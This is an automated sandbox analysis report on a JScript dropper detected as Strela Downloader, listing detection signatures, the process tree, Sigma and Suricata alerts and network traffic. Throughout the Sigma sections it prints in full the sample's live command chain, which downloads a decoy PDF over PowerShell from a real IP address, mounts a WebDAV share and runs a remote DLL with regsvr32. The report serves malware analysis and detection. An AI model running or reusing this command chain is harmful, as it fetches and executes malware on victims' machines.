Edit tour

Windows Analysis Report
5503463779138895.js

Overview

General Information

Sample name:	5503463779138895.js
Analysis ID:	1588166
MD5:	ee0883d027389ff16e005f517e4bf7c9
SHA1:	4fdfc37f39fbc648828e726a9d3a803e9353d9fd
SHA256:	ce6146a4df4ccea0a008ac0d91927c699081cd61412981f540a99f8efe827ca3
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6352 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5628 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1732 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5924 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6020 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1656,i,7439462766975430793,14181479011858444307,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6572 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6496 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6028 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6352	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5628, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1732, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5628, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1732, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", ProcessId: 6352, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6496, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 5628, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 5628, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 5628, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 5628, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 5628, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", ProcessId: 6352, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5628, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1732, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6572, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6496, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6028, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6572, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6496, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5503463779138895.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6352, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\232692187228269.dll, ProcessId: 5628, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:08:55.296481+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49732	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:08:52.737214+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5503463779138895.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5503463779138895.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49732 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:08:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49732

Source: global traffic

TCP traffic: 192.168.2.4:49732 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49731 -> 193.143.1.205:80

Source: global traffic

